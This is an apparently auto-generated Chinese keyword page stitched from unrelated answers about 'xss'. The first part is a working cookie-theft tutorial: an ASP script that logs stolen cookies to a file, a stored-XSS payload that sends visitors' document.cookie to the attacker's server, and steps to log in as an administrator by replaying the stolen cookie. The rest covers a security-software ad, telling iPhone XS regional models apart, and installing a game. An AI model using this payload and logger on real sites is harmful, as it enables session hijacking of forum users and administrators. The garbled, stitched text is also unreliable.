本文目录一览：
xss漏洞获取cookie怎么解决方案
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里更好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
如何验证wvs扫描出来的xss漏洞
安全软件排查
打开腾讯电脑管家——工具箱——修复漏洞，进行漏洞扫描和修复。
电脑管家建议用户设置开启自动修复漏洞功能，开启后，电脑管家可以在发现高危漏洞（仅包括高危漏洞，不包括其它漏洞）时，之一时间自动进行修复，无需用户参与，更大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下：进入电脑管家“修复漏洞”模块—“设置”，点击开启自动修复漏洞即可。
怎么看xss是不是国行
看xss是不是国行 *** 如下：
1、分辨苹果手机是否翻新机或者外版机，苹果8以上的机型可以将手机卡托取出观察内测，国行机一侧印有版本号A2104和MadeinChina表示这台手机为国行版本，版本号港版也是A2104,美版为A1921,日版是A2102,注意辨别，卡槽内测只能作为基础判断，还可以判断手机是否换过外壳
2、如果卡槽内测无法分辨就打开设置-通用-关于本机查看型号号码一栏CH是中国大陆，ZP是港版，LL为美版，X为澳版，J是日版，加版是C
3、可以打开拨号界面输入*#06#查看设备IMEI码与设置通用关于本机里的IMEI码是否一样
4、有条件的可以用电脑连接爱思验机查看手机型号电池版本等信息，更为便捷，但是现在很多不法商贩会修改手机爱思数据，建议通过沙漏验机助手与爱思数据进行比对，会有数据误差但一般不会差很多，生产日期和电池数据会有一定误差。
xss到手怎么玩
1.首先我们打开手机，在手机界面中找到应用商城的图标，点击打开搜索框，搜索xss的游戏下载安装游戏。
2.我们打开登录界面，在登录界面，我们点击注册账号在注册账号的时候，我们填写自己的信息就能注册账号成功。
